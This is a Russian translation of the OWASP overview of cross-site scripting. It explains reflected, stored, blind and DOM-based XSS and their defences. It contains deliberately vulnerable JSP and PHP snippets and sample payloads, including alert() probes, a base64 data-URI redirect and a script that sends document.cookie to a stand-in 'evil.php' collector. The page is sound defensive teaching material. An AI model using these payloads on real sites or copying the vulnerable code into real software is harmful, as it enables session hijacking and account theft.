Cross Site Scripting (XSS)

Обзор

Атаки межсайтового скриптинга (XSS) - это разновидность инъекций, при которых вредоносные скрипты внедряются в доброкачественные и надежные веб-сайты. XSS-атаки возникают, когда злоумышленник использует веб-приложение для отправки вредоносного кода, обычно в виде сценария на стороне браузера, другому конечному пользователю. Недостатки, позволяющие добиться успеха в этих атаках, довольно широко распространены и проявляются везде, где веб-приложение использует пользовательский ввод в генерируемом им выводе без его проверки или кодирования.

Злоумышленник может использовать XSS для отправки вредоносного скрипта ничего не подозревающему пользователю. Браузер конечного пользователя никак не может понять, что скрипту не следует доверять, и выполняет его. Поскольку он думает, что скрипт пришел из доверенного источника, вредоносный скрипт может получить доступ к любым файлам cookie, маркерам сеанса или другой конфиденциальной информации, сохраненной браузером и используемой на этом сайте. Такие скрипты могут даже переписать содержимое HTML-страницы.

Описание

Атаки типа "сценарий сайта" (XSS) возникают, когда:

  1. Данные попадают в веб-приложение через недоверенный источник, чаще всего через веб-запрос.

  2. Эти данные включаются в динамический контент, который отправляется пользователю без проверки на наличие вредоносного содержимого.

Вредоносный контент, отправляемый в веб-браузер, часто принимает форму фрагмента JavaScript, но может также включать HTML, Flash или любой другой тип кода, который может выполнить браузер. Разнообразие атак, основанных на XSS, практически безгранично, но обычно они включают передачу злоумышленнику приватных данных, таких как cookies или другой информации о сеансе, перенаправление жертвы на веб-контент, контролируемый злоумышленником, или выполнение других вредоносных операций на машине пользователя под видом уязвимого сайта.

Отраженные и хранимые XSS-атаки (Reflected and Stored XSS Attacks)

XSS-атаки, как правило, можно разделить на две категории: отраженные и сохраненные. Существует третий, гораздо менее известный тип XSS-атак, называемый DOM Based XSS.

Reflected XSS

Отраженные атаки - это атаки, в которых внедренный скрипт отражается от веб-сервера, например, в сообщении об ошибке, результатах поиска или любом другом ответе, включающем часть или все данные, отправленные на сервер в качестве части запроса. Отраженные атаки доставляются жертвам по другому маршруту, например, в сообщении электронной почты или на другом сайте. Когда пользователя обманом заставляют перейти по вредоносной ссылке, отправить специально созданную форму или даже просто зайти на вредоносный сайт, внедренный код попадает на уязвимый веб-сайт, который отражает атаку обратно в браузер пользователя. После этого браузер выполняет код, поскольку он пришел с "доверенного" сервера. Отраженный XSS также иногда называют Non-Persistent или Type-I XSS (атака осуществляется через один цикл запроса/ответа).

Stored XSS

Хранимые атаки - это атаки, в которых внедренный скрипт постоянно хранится на целевых серверах, например в базе данных, в форуме сообщений, журнале посетителей, поле для комментариев и т. д. Затем жертва извлекает вредоносный скрипт с сервера, когда запрашивает сохраненную информацию. Хранимый XSS также иногда называют Persistent или Type-II XSS.

Blind Cross-site Scripting

Слепой межсайтовый скриптинг - это разновидность постоянного XSS. Обычно он возникает, когда полезная нагрузка злоумышленника сохраняется на сервере и отражается обратно на жертву из внутреннего приложения. Например, в формах обратной связи злоумышленник может отправить вредоносную полезную нагрузку с помощью формы, и когда внутренний пользователь/админ приложения откроет отправленную злоумышленником форму через внутреннее приложение, полезная нагрузка злоумышленника будет выполнена. Слепой межсайтовый скриптинг трудно подтвердить в реальных условиях, но одним из лучших инструментов для этого является XSS Hunter.

Другие типы XSS-уязвимостей

Помимо хранимых и отраженных XSS, в 2005 году Амит Клейн выделил еще один тип XSS - DOM Based XSS. OWASP рекомендует использовать классификацию XSS, описанную в статье OWASP: Types of Cross-Site Scripting, которая охватывает все эти термины XSS, объединяя их в матрицу: хранимый XSS против отраженного XSS и серверный XSS против клиентского XSS, где DOM Based XSS является подмножеством клиентского XSS.

Последствия XSS-атак

Последствия XSS-атаки одинаковы независимо от того, хранится ли она в памяти или отражается (или основана на DOM). Разница заключается в том, как полезная нагрузка попадает на сервер. Не стоит обманывать себя, думая, что сайт "только для чтения" или "брошюра" не уязвим для серьезных отраженных XSS-атак. XSS может вызвать у конечного пользователя множество проблем, которые варьируются по степени серьезности от раздражения до полной компрометации учетной записи. Наиболее серьезные XSS-атаки связаны с раскрытием куки сеанса пользователя, что позволяет злоумышленнику перехватить сеанс пользователя и завладеть его аккаунтом. Среди других опасных атак - раскрытие файлов конечного пользователя, установка троянских программ, перенаправление пользователя на другую страницу или сайт, изменение представления контента. XSS-уязвимость, позволяющая злоумышленнику изменить пресс-релиз или новость, может повлиять на курс акций компании или снизить доверие потребителей. XSS-уязвимость на фармацевтическом сайте может позволить злоумышленнику изменить информацию о дозировке, что приведет к передозировке.

Как определить, насколько вы уязвимы

XSS-дефекты бывает сложно выявить и удалить из веб-приложения. Лучший способ найти недостатки - провести анализ безопасности кода и найти все места, где входные данные из HTTP-запроса могли бы попасть в HTML-вывод. Обратите внимание, что для передачи вредоносного JavaScript могут использоваться самые разные HTML-теги. Nessus, Nikto и некоторые другие доступные инструменты могут помочь просканировать сайт на наличие таких дефектов, но они могут только потрогать поверхность. Если уязвима одна часть сайта, велика вероятность, что есть и другие проблемы.

Как себя защитить

Основные способы защиты от XSS описаны в шпаргалке OWASP XSS Prevention Cheat Sheet.

Кроме того, очень важно отключить поддержку HTTP TRACE на всех веб-серверах. Злоумышленник может украсть данные cookie с помощью Javascript, даже если document.cookie отключен или не поддерживается клиентом. Эта атака осуществляется, когда пользователь размещает вредоносный скрипт на форуме, и когда другой пользователь переходит по ссылке, запускается асинхронный вызов HTTP Trace, который собирает информацию о cookie пользователя на сервере, а затем пересылает ее на другой вредоносный сервер, который собирает информацию о cookie, чтобы злоумышленник мог осуществить атаку с перехватом сессии. Эта проблема легко решается путем удаления поддержки HTTP TRACE на всех веб-серверах.

В рамках проекта OWASP ESAPI был разработан набор многократно используемых компонентов безопасности на нескольких языках, включая процедуры проверки и экранирования для предотвращения подделки параметров и внедрения XSS-атак. Кроме того, в учебном приложении OWASP WebGoat Project есть уроки по межсайтовому скриптингу и кодированию данных.

Альтернативный синтаксис XSS

XSS с использованием скрипта в атрибутах

XSS-атаки можно проводить без использования тегов <script>...</script> Другие теги сделают то же самое, например: <body onload=alert('test1')> или другие атрибуты, например: onmouseover, onerror.

onmouseover

<b onmouseover=alert('Wufff!')>click me!</b>

onerror

<img src="http://url.to.file.which/not.exist" onerror=alert(document.cookie);>

XSS с использованием скриптов через закодированные схемы URI

Мы можем закодировать наш скрипт в base64 и поместить его в META-тег. Таким образом мы полностью избавимся от alert(). Более подробную информацию об этом методе можно найти в RFC 2397

META HTTP-EQUIV="refresh"
CONTENT="0;url=data:text/html;base64,PHNjcmlwdD5hbGVydCgndGVzdDMnKTwvc2NyaXB0Pg">

Эти и другие примеры можно найти в OWASP XSS Filter Evasion Cheat Sheet, который представляет собой настоящую энциклопедию альтернативных синтаксических атак XSS.

Примеры

Межсайтовые скриптовые атаки могут возникать везде, где возможно вредоносным пользователям разрешено размещать на доверенном веб-сайте нерегламентированные материалы, предназначенные для других пользователей.

Наиболее распространенным примером могут служить сайты-доски объявлений, которые предоставляют функциональность в стиле списков рассылки.

Пример 1

Следующий сегмент кода JSP считывает идентификатор сотрудника, eid, из HTTP-запроса и отображает его пользователю.

<% String eid = request.getParameter("eid"); %>
...
Employee ID: <%= eid %>

Код в этом примере работает правильно, если eid содержит только стандартный буквенно-цифровой текст. Если же значение eid включает метасимволы или исходный код, то этот код будет выполнен веб-браузером при отображении HTTP-ответа.

Изначально может показаться, что это не такая уж и уязвимость. В конце концов, зачем кому-то вводить URL, который заставляет вредоносный код выполняться на его собственном компьютере? Реальная опасность заключается в том, что злоумышленник создаст вредоносный URL-адрес, а затем с помощью электронной почты или приемов социальной инженерии заманит жертву, чтобы она перешла по ссылке на этот URL-адрес. Когда жертвы переходят по ссылке, они невольно отражают вредоносное содержимое через уязвимое веб-приложение обратно на свой компьютер. Такой механизм использования уязвимых веб-приложений известен как Reflected XSS.

Пример 2

Следующий сегмент кода JSP запрашивает базу данных для поиска сотрудника с заданным идентификатором и выводит имя соответствующего сотрудника.

<%...
 Statement stmt = conn.createStatement();
 ResultSet rs = stmt.executeQuery("select * from emp where id="+eid);
 if (rs != null) {
  rs.next();
  String name = rs.getString("name");
%>

Employee Name: <%= name %>

Как и в примере 1, этот код работает корректно, если значения name хорошо управляемы, но он ничего не делает для предотвращения эксплойтов, если это не так. Опять же, этот код может показаться менее опасным, поскольку значение name считывается из базы данных, содержимым которой, очевидно, управляет приложение. Однако если значение name берется из данных, предоставленных пользователем, то база данных может стать проводником для вредоносного содержимого. Без надлежащей проверки ввода всех данных, хранящихся в базе, злоумышленник может выполнить вредоносные команды в веб-браузере пользователя. Этот тип эксплойтов, известный как Stored XSS, особенно коварен, поскольку непрямые связи, вызванные хранилищем данных, усложняют идентификацию угрозы и увеличивают вероятность того, что атака затронет нескольких пользователей. XSS в такой форме появился на сайтах, предлагавших посетителям "гостевую книгу". Злоумышленники включали JavaScript в записи гостевой книги, и все последующие посетители страницы гостевой книги выполняли вредоносный код.

Как видно из примеров, XSS-уязвимости возникают из-за кода, который включает непроверенные данные в HTTP-ответ. Существует три вектора, по которым XSS-атака может достичь жертвы:

  • Как и в примере 1, данные считываются непосредственно из HTTP-запроса и отражаются обратно в HTTP-ответе. Отраженные XSS-эксплойты возникают, когда злоумышленник заставляет пользователя предоставить опасный контент уязвимому веб-приложению, который затем отражается обратно пользователю и выполняется веб-браузером. Наиболее распространенным механизмом доставки вредоносного содержимого является включение его в качестве параметра в URL, который публикуется в открытом доступе или отправляется по электронной почте непосредственно жертвам. URL, построенные таким образом, составляют основу многих фишинговых схем, в которых злоумышленник убеждает жертву посетить URL, ссылающийся на уязвимый сайт. После того как сайт отражает содержимое злоумышленника обратно пользователю, это содержимое исполняется и начинает передавать частную информацию, например файлы cookie, которые могут содержать информацию о сеансе, с компьютера пользователя на компьютер злоумышленника или выполнять другие гнусные действия.

  • Как и в примере 2, приложение хранит опасные данные в базе данных или другом доверенном хранилище данных. Впоследствии опасные данные считываются обратно в приложение и включаются в динамический контент. Хранимые XSS-эксплойты возникают, когда злоумышленник внедряет опасное содержимое в хранилище данных, которое впоследствии считывается и включается в динамический контент. С точки зрения злоумышленника, оптимальным местом для внедрения вредоносного содержимого является область, которая отображается либо для многих пользователей, либо для особенно интересных пользователей. Интересные пользователи обычно имеют повышенные привилегии в приложении или взаимодействуют с конфиденциальными данными, которые представляют ценность для злоумышленника. Если один из таких пользователей выполнит вредоносное содержимое, злоумышленник сможет выполнить привилегированные операции от имени пользователя или получить доступ к конфиденциальным данным, принадлежащим пользователю.

  • Источник вне приложения сохраняет опасные данные в базе данных или другом хранилище данных, а затем эти опасные данные считываются обратно в приложение как доверенные данные и включаются в динамический контент.

Примеры атак

Если приложение не проверяет вводимые данные, злоумышленник может легко украсть cookie у аутентифицированного пользователя. Все, что нужно сделать злоумышленнику, - разместить следующий код в любом вводимом сообщении (т. е. на досках объявлений, в личных сообщениях, в профилях пользователей):

<SCRIPT type="text/javascript">
var adr = '../evil.php?cakemonster=' + escape(document.cookie);
</SCRIPT>

Приведенный выше код передаст экранированное содержимое cookie (согласно RFC, содержимое должно быть экранировано перед отправкой по протоколу HTTP с методом GET) скрипту evil.php в переменную "cakemonster". Затем злоумышленник проверяет результаты работы своего скрипта evil.php (скрипт захвата cookie обычно записывает cookie в файл) и использует его.

Пример страницы ошибок

Предположим, что у нас есть страница ошибки, которая обрабатывает запросы к несуществующим страницам, классическая страница ошибки 404. Мы можем использовать приведенный ниже код в качестве примера, чтобы проинформировать пользователя о том, какая именно страница отсутствует:

<html>
<body>
<?php
print "Not found: " . urldecode($_SERVER["REQUEST_URI"]);
?>

</body>
</html>

Давайте посмотрим, как это работает: http://testsite.test/file_which_not_exist В ответ мы получаем: Не найдено: /file_which_not_exist

Теперь попробуем заставить страницу ошибки включить наш код: <script>http://testsite.test/alert("TEST");</script> Результат: Не найдено: / (но с кодом <script>JavaScript alert("TEST");</script>)

Мы успешно внедрили код, наш XSS! Что это значит? Например, что мы можем использовать этот недостаток, чтобы попытаться украсть сессионный cookie пользователя.

Last updated